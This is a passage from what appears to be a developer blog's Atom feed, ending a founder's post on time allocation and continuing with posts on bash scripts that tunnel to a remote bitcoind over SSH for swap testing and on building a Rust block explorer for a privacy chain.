<p>So I draw a hard line. The architecture diagram of the SDK has my fingerprints on it. The CI pipeline has someone else&#39;s. The wallet&#39;s UI has someone else&#39;s. The Solana program has the person who wrote it. <em>Mine to push back on</em> is a small list, deliberately. The list is also visible to the team — they know what it is.</p>
<p>This was harder to learn than I&#39;d like to admit. I went through a phase where I was reviewing too many PRs because reviewing felt productive. The team got slower, not faster. The fix was to delete most of my review notifications and explicitly hand ownership of three subsystems to three people. Speed went up. My satisfaction went down for about two weeks and then went up permanently.</p>
<h2>The shape of a week</h2>
<p>If you&#39;re curious how this actually allocates: a representative week, give or take, is roughly:</p>
<ul>
<li>8–12 hours: load-bearing code (per the bullets above)</li>
<li>6–8 hours: customer + investor calls</li>
<li>4–6 hours: 1:1s and team async (Linear, GitHub, Slack)</li>
<li>4–6 hours: hiring loop (sourcing, screens, panels)</li>
<li>2–4 hours: writing — public posts, <a href="/blog/why_i_started_zera_labs/">founder letters</a>, customer briefs</li>
<li>The rest: triage, email, the long tail of things a CEO has to look at.</li>
</ul>
<p>I don&#39;t believe in the heroic 80-hour week, but I do believe in the <em>consistent</em> 50–55-hour week, and I think this allocation is roughly that. <code>TODO: Dax adjust if reality drifts.</code></p>
<h2>Why this is the post I keep getting asked for</h2>
<p>Every founder I talk to who came up technical wants permission to keep coding. The permission is, of course, theirs to give themselves — but the framing in the broader founder canon (the <a href="https://www.amazon.com/Hard-Thing-About-Things-Building/dp/0062273205">Hard Thing</a>, <a href="https://www.amazon.com/High-Output-Management-Andrew-Grove/dp/0679762884">High Output Management</a>) is mostly written for SaaS founders whose products do not require their hands.</p>
<p>Cryptographic infrastructure is not SaaS. The product is correct or it is not. The CEO of a company shipping correctness <em>should</em> keep their hands in the codebase. The trick is the AI-augmented workflow that makes the math work — context-loading via Claude Code, archive search via your own MCP server, and a hard list of subsystems where you, personally, are the last review.</p>
<p>That&#39;s the entire post. Keep coding. Build the AI scaffolding around yourself that lets you keep coding. Stay out of the parts of the codebase that aren&#39;t yours. Trust the team on those parts. Be loud about which parts are yours.</p>
<h2>Further reading</h2>
<ul>
<li><a href="/blog/why_i_started_zera_labs/">Why I started Zera Labs</a> — the strategic backdrop for any of this to be worth doing.</li>
<li><a href="/blog/zera_sdk_scaffolding/">Building the Zera SDK: Day One</a> — the canonical &quot;load-bearing code only&quot; session.</li>
<li><a href="/blog/nuclear_reactors_taught_me_to_ship/">Nuclear reactors taught me to ship software</a> — where the discipline to draw the boundaries came from.</li>
</ul>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[btc-tunnel.sh: SSH-jumping into a remote bitcoind for swap testing]]></title>
  <id>https://blog.skill-issue.dev/blog/vanta_btc_tunnel_dev_environment/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/vanta_btc_tunnel_dev_environment/"/>
  <published>2026-04-17T05:52:57.000Z</published>
  <updated>2026-04-17T05:52:57.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="vanta"/>
  <category term="bitcoin"/>
  <category term="ssh"/>
  <category term="tunnel"/>
  <category term="shell"/>
  <category term="devenv"/>
  <category term="rpc"/>
  <summary type="html"><![CDATA[Three small bash scripts wire the desktop dev environment to a real mainnet bitcoind for atomic-swap testing. Tunneling, RPC wrapping, and an address watcher with auto-reconnect — and why exposing 8332 to the internet is a worse idea than you think.]]></summary>
  <content type="html"><![CDATA[<p>The atomic-swap CLI <a href="/blog/vanta_swap_htlc_walkthrough/">I wrote about</a> needs two RPC endpoints: one for the VANTA chain (easy — there&#39;s a <code>vantad</code> running on the desktop dev box) and one for the BTC chain (less easy — I&#39;m not running a full Bitcoin Core node on every laptop I develop on). The Bitcoin chain is real-money mainnet, and a Bitcoin Core full node is a 700+ GB and growing footprint that&#39;s too big to live on a developer machine in 2026.</p>
<p>The answer that landed in commit <a href="https://github.com/Dax911/vanta/commit/e624a8e70"><code>e624a8e7</code></a> on 2026-04-17 — <code>desktop: scripts for BTC RPC tunnel + address watcher + rpc helper</code> — is three tiny shell scripts that forward a remote <code>bitcoind</code>&#39;s RPC port to localhost over an SSH jump host, then wrap the JSON-RPC calls so the swap CLI can speak to a real mainnet node from any laptop.</p>
<p>This post walks the three scripts, explains why they&#39;re written the way they are, and ends with an unkind paragraph about the alternative (just exposing port 8332 directly).</p>
<h2>The scripts</h2>
<p>There are three of them, all in <a href="https://github.com/Dax911/vanta/tree/main/vanta/vanta-desktop/scripts"><code>vanta/vanta-desktop/scripts/</code></a>:</p>
<ul>
<li><a href="https://github.com/Dax911/vanta/blob/main/vanta/vanta-desktop/scripts/btc-tunnel.sh"><code>btc-tunnel.sh</code></a> — set up / tear down / probe the SSH tunnel</li>
<li><a href="https://github.com/Dax911/vanta/blob/main/vanta/vanta-desktop/scripts/btc-rpc.sh"><code>btc-rpc.sh</code></a> — make a single JSON-RPC call to the tunneled node</li>
<li><a href="https://github.com/Dax911/vanta/blob/main/vanta/vanta-desktop/scripts/btc-watch.sh"><code>btc-watch.sh</code></a> — poll an address for state changes, with auto-reconnect</li>
</ul>
<p>They are all <code>bash</code>, all <code>set -euo pipefail</code>, all under 100 lines. Code that looks like 1995. That&#39;s the right tool for what they do.</p>
<h2>btc-tunnel.sh: the SSH-jump forward</h2>
<p>The architecture: my laptop sits on whatever Wi-Fi I&#39;m on. The <code>bitcoind</code> runs at <code>10.0.1.89</code> on my home LAN. I can&#39;t reach <code>10.0.1.89</code> from a coffee shop. I can reach a public-facing jump host (a small VPS on a port I won&#39;t share publicly), and the jump host can reach the LAN.</p>
<p><code>ssh -J jump@public:port lan-host</code> does the routing. <code>ssh -L 8332:127.0.0.1:8332 lan-host</code> does the port forward. Combine them, daemonise the connection with <code>-f -N -M</code>, point a control socket at <code>/tmp/btc-tunnel.sock</code>, and you have a process you can <code>up</code>/<code>down</code>/<code>status</code> against from any shell.</p>
<p>The full flag set, <a href="https://github.com/Dax911/vanta/blob/main/vanta/vanta-desktop/scripts/btc-tunnel.sh">from the script</a>:</p>
<pre><code class="language-bash">ssh_args=(
  -o StrictHostKeyChecking=accept-new
  -o IdentitiesOnly=yes
  -o ServerAliveInterval=30
  -o ServerAliveCountMax=3
  -o ExitOnForwardFailure=yes
  -i &quot;$BTC_TUNNEL_KEY&quot;
  -J &quot;${JUMP_USER}@${JUMP_HOST}:${JUMP_PORT}&quot;
  -L &quot;${BTC_LOCAL_PORT}:127.0.0.1:${BTC_TUNNEL_RPC_PORT}&quot;
  -S &quot;$SOCKET&quot;
)
</code></pre>
<p>Five of these flags are load-bearing. Let me unpack them.</p>
<p><strong><code>StrictHostKeyChecking=accept-new</code>.</strong> This is the &quot;trust on first use&quot; mode. It accepts a new host key on first connection but refuses any later mismatch. The strict-no setting (<code>yes</code>) would require pre-populating known_hosts; the strict-no-yes setting (<code>no</code>) would silently accept any host key including a man-in-the-middle. <code>accept-new</code> is the right middle ground for an interactive dev tool.</p>
<p><strong><code>IdentitiesOnly=yes</code>.</strong> Tells SSH to use <em>only</em> the key passed in <code>-i</code>, not whatever else is in <code>~/.ssh/</code>. Without this, SSH will try every key in your agent, exhaust the server&#39;s <code>MaxAuthTries</code>, and fail with a confusing error.</p>
<p><strong><code>ServerAliveInterval=30</code> + <code>ServerAliveCountMax=3</code>.</strong> Keep-alive every 30 seconds, kill the connection after 3 missed responses. A residential ISP will silently drop idle connections; this keeps the tunnel up for hours of intermittent use.</p>
<p><strong><code>ExitOnForwardFailure=yes</code>.</strong> If the local port bind fails — say something else is on <code>:8332</code> already — exit immediately rather than maintaining a half-broken tunnel that can&#39;t actually carry traffic. The default behavior (silently keep the SSH connection up but not the forward) is a great way to spend twenty minutes wondering why your RPC calls hang.</p>
<p><strong><code>-S &quot;$SOCKET&quot;</code>.</strong> Control socket. Lets a <em>separate</em> <code>ssh</code> invocation send commands to the same connection (<code>-O check</code>, <code>-O exit</code>). This is what makes <code>is_up()</code> work without parsing <code>ps</code> output:</p>
<pre><code class="language-bash">is_up() {
  ssh -S &quot;$SOCKET&quot; -O check &quot;$BTC_TUNNEL_HOST&quot; &gt;/dev/null 2&gt;&amp;1
}
</code></pre>
<p>That&#39;s the whole &quot;is the tunnel alive&quot; check. SSH manages it; we just ask.</p>
<h2>btc-tunnel.sh: the RPC probe</h2>
<p>Once the tunnel is up, the <code>status</code> command goes one step further — it actually makes an RPC call through the tunnel to verify the remote <code>bitcoind</code> is reachable and synced:</p>
<pre><code class="language-bash">probe_rpc() {
  curl -s --max-time 5 --user &quot;${BTC_RPC_USER}:${BTC_RPC_PASS}&quot; \
    --data-binary &#39;{&quot;jsonrpc&quot;:&quot;1.0&quot;,&quot;id&quot;:&quot;s&quot;,&quot;method&quot;:&quot;getblockchaininfo&quot;,&quot;params&quot;:[]}&#39; \
    -H &#39;content-type:text/plain;&#39; &quot;http://127.0.0.1:${BTC_LOCAL_PORT}/&quot;
}
</code></pre>
<p>The output gets parsed by an inline Python one-liner that prints the chain, block height, header height, sync state, and verification progress in one terse line. Why Python and not <code>jq</code>? Because <code>jq</code> isn&#39;t preinstalled on a fresh macOS, and Python 3 is. Portability wins over elegance here.</p>
<p>The <code>getblockchaininfo</code> RPC is the standard &quot;is this node alive and what does it know&quot; call. If it returns a coherent JSON body, the tunnel is end-to-end working. If it doesn&#39;t, you get a clear error and you know which layer to debug — the SSH connection (tunnel up but RPC dead) or the local port (tunnel down, no RPC at all).</p>
<h2>btc-rpc.sh: the one-shot wrapper</h2>
<p>This one is so small it fits in the post:</p>
<pre><code class="language-bash">wallet_scoped=0
if [ &quot;${1:-}&quot; = &quot;--wallet&quot; ]; then
  wallet_scoped=1
  shift
fi

method=&quot;${1:?method required}&quot;
params=&quot;${2:-[]}&quot;
path=&quot;&quot;
[ &quot;$wallet_scoped&quot; = &quot;1&quot; ] &amp;&amp; path=&quot;/wallet/${BTC_RPC_WALLET}&quot;

curl -s --user &quot;${BTC_RPC_USER}:${BTC_RPC_PASS}&quot; \
  --data-binary &quot;{\&quot;jsonrpc\&quot;:\&quot;1.0\&quot;,\&quot;id\&quot;:\&quot;cli\&quot;,\&quot;method\&quot;:\&quot;${method}\&quot;,\&quot;params\&quot;:${params}}&quot; \
  -H &#39;content-type:text/plain;&#39; \
  &quot;${BTC_RPC_URL}${path}&quot; | python3 -m json.tool
</code></pre>
<p>The whole point is to give me a one-line shorthand for <code>bitcoind</code> debugging that doesn&#39;t require remembering the JSON-RPC envelope. From any shell with the tunnel up:</p>
<pre><code class="language-bash">$ btc-rpc.sh getblockchaininfo
$ btc-rpc.sh --wallet getbalance
$ btc-rpc.sh --wallet getnewaddress &#39;[&quot;swap-test&quot;,&quot;bech32&quot;]&#39;
$ btc-rpc.sh getrawtransaction &#39;[&quot;&lt;txid&gt;&quot;, true]&#39;
</code></pre>
<p>The <code>--wallet</code> flag is the difference between core RPCs (chain state, mempool) and wallet-scoped RPCs (balance, send, sign). Bitcoin Core changed the RPC URL convention in v0.18 — wallet RPCs route to <code>/wallet/&lt;name&gt;</code>, core RPCs route to <code>/</code>. The wrapper handles that distinction by setting <code>path</code> and concatenating it onto <code>BTC_RPC_URL</code>.</p>
<p>The <code>python3 -m json.tool</code> at the end is a pretty-printer. Two seconds of latency on the JSON pretty-print is the right amount of overhead for terminal readability.</p>
<h2>btc-watch.sh: the address watcher</h2>
<p>This is the one I use most. When you&#39;re testing an HTLC, you fund a P2WSH output, broadcast the funding transaction, wait for it to confirm, then build the spending transaction. &quot;Wait for it to confirm&quot; is what <code>btc-watch.sh</code> automates:</p>
<pre><code class="language-bash">addr=&quot;${1:?address required — see usage in header}&quot;
log=&quot;${2:-/tmp/btc-watch.log}&quot;

last_state=&quot;&quot;
while true; do
  ensure_tunnel
  resp=$(rpc listunspent &quot;[0, 9999999, [\&quot;${addr}\&quot;]]&quot; || echo &#39;{}&#39;)
  state=$(echo &quot;$resp&quot; | python3 -c &quot;
import sys,json
try:
  r = json.load(sys.stdin).get(&#39;result&#39;) or []
  if not r: print(&#39;EMPTY&#39;); sys.exit()
  parts = [&#39;%s|%.8f|%d&#39; % (u[&#39;txid&#39;], u[&#39;amount&#39;], u[&#39;confirmations&#39;]) for u in r]
  print(&#39;;&#39;.join(sorted(parts)))
except Exception as e:
  print(&#39;ERR:&#39;+str(e))
&quot;)
  if [ &quot;$state&quot; != &quot;$last_state&quot; ]; then
    # log + display the change
    last_state=&quot;$state&quot;
  fi
  sleep &quot;$BTC_WATCH_INTERVAL&quot;
done
</code></pre>
<p>Three design choices in here that took longer than they should have to get right.</p>
<p><strong><code>listunspent</code> with <code>minconf=0</code>.</strong> Includes mempool. The HTLC funding transaction shows up <em>first</em> in the mempool with <code>confirmations=0</code>, then gains confirmations as blocks are mined. You want to know about both states. The default <code>listunspent</code> arguments are <code>[1, 9999999]</code> (confirmed-only); we override with <code>[0, 9999999, [addr]]</code> to include mempool and filter by address.</p>
<p><strong>State diffing.</strong> The watcher prints when the state <em>changes</em>, not on every poll. Otherwise the log is unreadable. The state representation is <code>txid|amount|confirmations</code>, joined with <code>;</code> and sorted. Sorted because <code>listunspent</code> doesn&#39;t guarantee output order; without sorting, two consecutive polls of the same UTXO set could produce different state strings.</p>
<p><strong><code>ensure_tunnel</code>.</strong> Before each RPC poll, check that the tunnel&#39;s still up. If it&#39;s not, try to bring it back up:</p>
<pre><code class="language-bash">ensure_tunnel() {
  if rpc getblockcount &#39;[]&#39; &#39;&#39; &gt;/dev/null 2&gt;&amp;1; then return 0; fi
  log_line &quot;rpc unreachable — attempting tunnel up&quot;
  if [ -x &quot;${HERE}/btc-tunnel.sh&quot; ]; then
    &quot;${HERE}/btc-tunnel.sh&quot; up || log_line &quot;tunnel up failed&quot;
  else
    log_line &quot;btc-tunnel.sh not found next to this script; cannot auto-reconnect&quot;
  fi
  sleep 2
}
</code></pre>
<p>The script is supposed to run for hours during a long swap test. If my coffee shop&#39;s Wi-Fi drops and reconnects, the tunnel breaks. Without <code>ensure_tunnel</code>, the watcher would silently fail every 10 seconds. With it, the tunnel comes back up automatically and the polling resumes. The first time this saved me a swap test was the moment I knew the script was worth committing.</p>
<h2>On exposing 8332 directly</h2>
<blockquote>
<p><strong>WARNING:</strong> Do not put port 8332 on the public internet. Do not put it on a &quot;VPN-only&quot; subnet that you can&#39;t audit. Do not assume rate-limiting at your router is enough.</p>
</blockquote>
<p>If you read tutorials online — I have, you have, we all have — you&#39;ll find advice that says &quot;just expose your bitcoind RPC port through your router.&quot; This is bad advice, and I&#39;m going to be direct about why.</p>
<p>The bitcoind RPC exposes wallet operations behind HTTP basic auth. If <code>RPCPASSWORD</code> ever leaks (in a CI log, in a screenshot, in a <code>.env</code> file in a git history, in a commit message) the attacker has full access to your wallet. They can sign transactions. They can drain your funds. There is no &quot;I locked my wallet&quot; safety net here — the unlock is part of the same RPC and it accepts a passphrase that can also be brute-forced once the connection is open.</p>
<p>Even with no wallet, the RPC exposes call patterns that can be used to fingerprint your node, drain its mempool data, and probe for vulnerabilities. Bitcoin Core has a hardening guide for a reason.</p>
<p>The SSH tunnel architecture solves all of this in one move. The RPC port is bound to <code>127.0.0.1</code> on the bitcoind host. The only path to it is over an authenticated SSH connection. The jump host doesn&#39;t see the RPC traffic — it sees only the encrypted SSH stream. Your laptop talks to the jump host using key-based auth (the <code>IdentitiesOnly</code> flag). The RPC password lives in <code>.env.local</code> and never leaves your machine.</p>
<p>If your authoring environment doesn&#39;t have an SSH-jump architecture <em>available</em>, the second-best is to run a separate <code>bitcoind</code> on <code>regtest</code> mode, just for the development workflow. Mainnet RPC should not be on a public IP. Ever.</p>
<h2>Pulling it together: a swap test</h2>
<p>The end-to-end swap-test flow looks like this, on a fresh terminal:</p>
<pre><code class="language-bash"># 1. Bring up the tunnel.
$ ./btc-tunnel.sh up
tunnel up: 127.0.0.1:8332 -&gt; dax@10.0.1.89:8332

# 2. Sanity check.
$ ./btc-tunnel.sh status
forward: 127.0.0.1:8332 -&gt; dax@10.0.1.89:8332
chain=main blocks=874632 headers=874632 synced=True progress=1.000000

# 3. Generate a fresh receiving address for the swap.
$ ./btc-rpc.sh --wallet getnewaddress &#39;[&quot;swap-test&quot;,&quot;bech32&quot;]&#39;
&quot;bc1qjh9pjnqs5486d08yg4aafdlphwl3rc6ls0lf7w&quot;

# 4. Start watching the address in another window.
$ ./btc-watch.sh bc1qjh9pjnqs5486d08yg4aafdlphwl3rc6ls0lf7w &amp;

# 5. Run the swap CLI from a third window.
$ vanta-swap participate --amount 0.001 --hash &lt;h&gt; ...
</code></pre>
<p>The watcher logs the funding transaction the moment it hits the mempool, and again every time it gains a confirmation. The CLI broadcasts the spending transaction. The watcher logs the spend.</p>
<p>That whole loop takes about 30 seconds end to end on a happy mainnet. Without the tunnel scripts, it&#39;d take twenty minutes per iteration of fumbling with <code>bitcoin-cli</code> arguments and SSH commands.</p>
<h2>What I changed my mind about</h2>
<p>I wrote the first version of <code>btc-tunnel.sh</code> as a one-liner pasted into Notion. It worked. I copy-pasted it dozens of times before I realised that <code>ssh</code> would silently exit if the home host was momentarily unreachable, leaving me typing into a tunneled port that wasn&#39;t listening to anything.</p>
<p>The version that ships does three things the one-liner didn&#39;t: it uses a control socket so <code>is_up</code> is reliable, it sets <code>ExitOnForwardFailure</code> so the script crashes loudly instead of looking up, and it has a <code>restart</code> subcommand because manually re-running <code>up</code> after a network drop is the kind of friction that makes you stop using the tool.</p>
<p>The general lesson — and this is the kind of thing I&#39;d put in a &quot;scripts I keep around&quot; post — is that the dev tools you use <em>daily</em> deserve the same care you give production code. Not the same test coverage. But the same observability. A 60-line bash script with <code>set -euo pipefail</code>, control sockets, and a clear <code>status</code> mode is a different beast from a 60-line bash script that just <code>ssh</code>s and prays.</p>
<h2>Further reading</h2>
<ul>
<li><a href="https://github.com/Dax911/vanta/blob/main/vanta/vanta-desktop/scripts/btc-tunnel.sh"><code>vanta/vanta-desktop/scripts/btc-tunnel.sh</code></a> — the tunnel script</li>
<li><a href="https://github.com/Dax911/vanta/blob/main/vanta/vanta-desktop/scripts/btc-rpc.sh"><code>vanta/vanta-desktop/scripts/btc-rpc.sh</code></a> — the RPC wrapper</li>
<li><a href="https://github.com/Dax911/vanta/blob/main/vanta/vanta-desktop/scripts/btc-watch.sh"><code>vanta/vanta-desktop/scripts/btc-watch.sh</code></a> — the address watcher</li>
<li><a href="https://github.com/bitcoin/bitcoin/blob/master/doc/bitcoin-conf.md">Bitcoin Core&#39;s <code>bitcoin.conf</code> reference</a> — every flag in the default config</li>
<li><a href="/blog/vanta_swap_htlc_walkthrough/">BIP-199 by hand</a> — the swap CLI these scripts support</li>
<li><a href="/blog/vanta_desktop_tauri_wallet/">Vanta Desktop: a Tauri wallet that ships its own full node</a> — the dev workflow these scripts plug into</li>
</ul>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[Block explorers for privacy chains: a Rust indexer for vanta]]></title>
  <id>https://blog.skill-issue.dev/blog/vanta_explorer_rust_indexer/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/vanta_explorer_rust_indexer/"/>
  <published>2026-04-13T17:34:24.000Z</published>
  <updated>2026-04-17T05:52:57.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="vanta"/>
  <category term="rust"/>
  <category term="explorer"/>
  <category term="axum"/>
  <category term="react"/>
  <category term="privacy"/>
  <summary type="html"><![CDATA[Patching btc-rpc-explorer got us to 'works.' Then we wrote vanta-explorer in Rust + React: an Axum backend, SQLite indexer, and a SPA that renders shielded transfers as opaque commitments without lying about what it knows.]]></summary>
  <content type="html"><![CDATA[<p>When you&#39;re forking Bitcoin Core, you can&#39;t get away with not having a block explorer. People will ask you for one within hours of finding out the chain exists. So Vanta has had two: the <a href="https://github.com/Dax911/vanta/tree/main/explorer">patched <code>btc-rpc-explorer</code></a> (Node.js, the original &quot;works in a weekend&quot; answer) and the from-scratch <a href="https://github.com/Dax911/vanta/tree/main/vanta-explorer"><code>vanta-explorer</code></a> (Rust + React, the &quot;actually models a privacy chain correctly&quot; answer). This post is about how we got from one to the other.</p>
<p>The interesting question isn&#39;t &quot;how do you write an explorer&quot; — that&#39;s well-trodden — it&#39;s &quot;how do you write a <em>privacy</em> explorer that displays opaque commitments without misrepresenting what it knows.&quot;</p>
<h2>Phase one: patch btc-rpc-explorer</h2>
<p>The first explorer was a 5-day patch on top of <a href="https://github.com/janoside/btc-rpc-explorer"><code>janoside/btc-rpc-explorer</code></a>. The diff is in <a href="https://github.com/Dax911/vanta/tree/main/explorer"><code>explorer/</code></a> and the work was mostly: rename strings (<code>bitcoin</code> → <code>vanta</code> everywhere), swap currency labels (BTC → VANTA, sat → zat), point at <code>vantad</code> instead of <code>bitcoind</code>, fix the mining-template URL, and update the favicon.</p>
<p>The 2026-04-13 commit log shows the rebrand pass:</p>
<pre><code>de8efe0b explorer: rebrand patches zeracoin -&gt; vanta
</code></pre>
<p>This explorer is Node.js, ships a multi-megabyte <code>node_modules</code>, and rendered transactions as transparent UTXOs because that&#39;s what its templates are built for. Witness v2 commitments showed up in the UI as <code>value: 0.0</code> outputs of type <code>witness_unknown</code>, which is technically accurate but extremely useless. A user looking at our chain through this explorer saw transactions and concluded &quot;all the value is in coinbase outputs.&quot; Wrong, <em>but the explorer wasn&#39;t lying</em> — it was just showing what its model of &quot;transaction&quot; knew how to show. The real value lived in commitments outside its model.</p>
<h2>Phase two: write a Rust explorer</h2>
<p>I started <a href="https://github.com/Dax911/vanta/tree/main/vanta-explorer"><code>vanta-explorer/</code></a> on 2026-04-13 (<code>2db4e060 explorer: scaffold vanta-explorer (Rust backend + React web)</code>). The pitch was &quot;an explorer that knows what a witness v2 commitment is, doesn&#39;t pretend transparent volume is the only volume, and gives me a tool I can extend without fighting a Node.js codebase that wasn&#39;t designed for it.&quot;</p>
<p>The shape:</p>
<ul>
<li><strong>Backend</strong> (<a href="https://github.com/Dax911/vanta/tree/main/vanta-explorer/backend"><code>vanta-explorer/backend</code></a>) — Rust, Axum 0.7, SQLite via <code>sqlx</code>, polls <code>vantad</code> and <code>vanta-node</code> on intervals. Serves <code>/api/*</code>.</li>
<li><strong>Web</strong> (<a href="https://github.com/Dax911/vanta/tree/main/vanta-explorer/web"><code>vanta-explorer/web</code></a>) — React + Vite + Tailwind. Recharts for hashrate/throughput. SPA with React Router. Runs as static assets served by the Axum backend on the same port.</li>
<li><strong>Indexer modules</strong>: <code>l1_poller</code>, <code>l2_poller</code>, <code>mempool_poller</code>, <code>pool_poller</code>. Each is a tokio task that pulls its source on a fixed interval and writes to SQLite.</li>
<li><strong>API modules</strong>: <code>blocks</code>, <code>tx</code>, <code>address</code>, <code>mempool</code>, <code>network</code>, <code>pool</code>, <code>proofs</code>, <code>anon</code>, <code>l2</code>, <code>search</code>, <code>tip</code>, <code>sse</code>. Each is its own axum router section.</li>
</ul>
<p>The full backend <code>Cargo.toml</code>:</p>
<pre><code class="language-toml">[dependencies]
axum = { version = &quot;0.7&quot;, features = [&quot;macros&quot;] }
tokio = { version = &quot;1&quot;, features = [&quot;full&quot;] }
tower-http = { version = &quot;0.6&quot;, features = [&quot;cors&quot;, &quot;trace&quot;, &quot;compression-br&quot;, &quot;fs&quot;] }
sqlx = { version = &quot;0.8&quot;, features = [&quot;runtime-tokio&quot;, &quot;sqlite&quot;, &quot;macros&quot;, &quot;migrate&quot;, &quot;chrono&quot;] }
reqwest = { version = &quot;0.12&quot;, features = [&quot;json&quot;, &quot;rustls-tls&quot;], default-features = false }
serde = { version = &quot;1&quot;, features = [&quot;derive&quot;] }
chrono = { version = &quot;0.4&quot;, features = [&quot;serde&quot;] }
async-stream = &quot;0.3&quot;
</code></pre>
<p>Reqwest with <code>rustls-tls</code> to skip the OpenSSL dependency. SQLite with chrono support so timestamps are <code>DateTime&lt;Utc&gt;</code> end-to-end. <code>async-stream</code> for SSE — we ship server-sent events for live tip updates so the explorer&#39;s homepage updates within a second of a new block.</p>
<p>The startup is the canonical four-task pattern:</p>
<pre><code class="language-rust">indexer::spawn_all(state.clone());

let app = api::router(state);

let listener = TcpListener::bind(&amp;bind_addr).await?;

tokio::select! {
    res = axum::serve(listener, app) =&gt; { res?; }
    _ = shutdown_signal() =&gt; {
        info!(&quot;shutdown requested, exiting&quot;);
        std::process::exit(0);
    }
}
</code></pre>
<p>The <code>std::process::exit(0)</code> on shutdown is a deliberate cheat. Background pollers and SSE streams are infinite loops; the tokio runtime drop blocks waiting for them to finish, which they never do. Calling exit explicitly when the user hits Ctrl-C makes the explorer shut down in milliseconds instead of however long the runtime decides to wait. Not pretty; it works.</p>
<h2>How shielded transfers are rendered</h2>
<p>Here&#39;s the part I want to be precise about. From the <a href="https://github.com/Dax911/vanta/blob/main/papers/01-executive-summary.md">executive-summary paper</a>:</p>
<blockquote>
<p>Every non-coinbase witness v2 output carries <code>nValue = 0</code> on L1; the real amount lives inside the note commitment preimage and is never observable on the public ledger.</p>
</blockquote>
<p>The explorer can read every transaction in every block, but it cannot read amounts on shielded outputs. That&#39;s the whole point. So the question for a privacy-explorer designer is: <em>what does the user see?</em></p>
<p>Three options were on the table.</p>
<p><strong>Option A: lie.</strong> Pretend the output value is what <code>getrawtransaction</code> returns (zero) and label it &quot;0 VANTA.&quot; Technically accurate, deeply misleading.</p>
<p><strong>Option B: hide.</strong> Don&#39;t show shielded transactions at all. Filter them out of the block view. Cowardly; users can read the raw RPC and see them.</p>
<p><strong>Option C: render the commitment as the artefact.</strong> Show the transaction. Show its inputs and outputs as opaque commitments — 32-byte hex strings that are <em>what the chain knows</em>. Show that the proof verified. Don&#39;t pretend to know more than that.</p>
<p>We picked C. The 2026-04-16 commit <code>c912fc04 explorer: ZK transfers first-class + genesis scan + proof verification</code> is when this work landed. The <code>proofs</code> API endpoint pulls from <code>vanta-node</code>&#39;s 500-slot proof event ring buffer (the one the <a href="https://github.com/Dax911/vanta/blob/main/papers/17-zkvm-engineering.md">zkvm engineering paper</a> describes) and the explorer renders each verified proof with the public-input slots: SMT root, input commitments, nullifiers, output commitments, signed <code>value_balance</code>.</p>
<p>A user looking at a shielded transaction sees:</p>
<ul>
<li>the transaction&#39;s L1 outputs (mostly <code>nValue = 0</code> witness v2 commitments + maybe an OP_RETURN anchor)</li>
<li>a &quot;ZK proof verified&quot; badge</li>
<li>the public inputs from the proof, byte-accurately</li>
<li>the SMT root the proof was verified against</li>
<li>the nullifier (so they can confirm the spend isn&#39;t replayed)</li>
</ul>
<p>That&#39;s the whole story the chain has for that transaction. The explorer isn&#39;t hiding anything; it&#39;s rendering the right artefact.</p>
<h2>The L2 poller</h2>
<p><a href="https://github.com/Dax911/vanta/tree/main/vanta-explorer/backend/src/indexer"><code>indexer/l2_poller.rs</code></a> is the module that talks to <code>vanta-node</code> instead of <code>vantad</code>. It polls the L2 sidecar&#39;s REST API on a configurable interval and pulls:</p>
<ul>
<li><code>/status</code> for SMT root + commitment count + nullifier count</li>
<li><code>/proofs/recent</code> for the proof event ring buffer</li>
<li>per-commitment lookup as the explorer&#39;s UI deep-links into specific notes</li>
</ul>
<p>The explorer never tries to <em>decrypt</em> notes. The encrypted-note inbox at <code>vanta-node</code> is for wallets, not for explorers — only the recipient&#39;s secret key can decrypt. The explorer&#39;s job is to render the public artefacts and link them.</p>
<p>Pool stats come from the <code>pool_poller</code> against the public-pool&#39;s NestJS API (the 2026-04-13 commit <code>dbe62058 explorer: map real public-pool NestJS shape for /api/pool</code> is when that contract got nailed down). The explorer&#39;s pool page shows aggregate hashrate, recent shares, and recent block finds — it&#39;s a separate data source from L1 because the pool tracks shares and miners, not chain state.</p>
<h2>The polish pass</h2>
<p>A bunch of small commits in mid-April were polish:</p>
<ul>
<li><code>6c374159 explorer: populate l1_txs + real TxDetail</code> — moved transaction-detail rendering from a placeholder to actual chain data</li>
<li><code>30fe0a04 explorer: persist pool metrics + historic hashrate chart</code> — historic hashrate via SQLite-backed time-series</li>
<li><code>600d2a03 explorer: code-split recharts via React.lazy</code> — Recharts is large; lazy-load it so the homepage stays fast</li>
<li><code>96333d42 explorer: client-side Merkle verify tool</code> — let users paste a transaction id and a Merkle root and verify inclusion locally, without the explorer</li>
<li><code>22698e6e explorer: phase 9 polish + fast backend shutdown</code> — the <code>std::process::exit</code> shutdown trick above</li>
</ul>
<p>Each of these is a half-day of work. The explorer is <em>eternal</em> polish — there&#39;s always one more chart, one more endpoint, one more responsive-layout tweak. I&#39;m choosing to call it done at &quot;users can navigate from a transaction to its proof to its L2 commitment to its receiving address.&quot;</p>
<h2>What I would do differently</h2>
<ol>
<li><strong>Don&#39;t start with the patched explorer at all.</strong> It got us to &quot;we have an explorer&quot; in three days, which mattered for the launch story. But the eventual full rewrite was inevitable. If I were doing this again I&#39;d skip phase one and accept a one-week longer runway to launch.</li>
<li><strong>Push more rendering to the client.</strong> The explorer renders most pages server-side and ships HTML. A more aggressive split (server is <em>only</em> the API, client is <em>all</em> of the rendering) would simplify the backend further. The current setup is fine; it could be cleaner.</li>
<li><strong>Move the SQLite into a real time-series database.</strong> SQLite is lovely for the indexed transactional data, but pool metrics + historic hashrate + mempool depth want a TSDB-shaped store (downsampling, retention policies, etc.). On the list, not urgent.</li>
</ol>
<h2>What I changed my mind about</h2>
<p>I started building this thinking the privacy aspect would be the hardest part — that getting the UI to render commitments correctly without leaking would be a design conversation. It wasn&#39;t. The hardest part was the <em>boring stuff</em>: making the SQLite indexer fast enough to keep up with 1-minute blocks while also catching up from a cold start; making React Router not lose its mind when a deep-link lands on a page whose data isn&#39;t loaded yet; making the homepage&#39;s hashrate chart not janky.</p>
<p>The privacy rendering, once we&#39;d decided on Option C, was code. The rest of the explorer is the kind of work that explorers always are.</p>
<h2>Further reading</h2>
<ul>
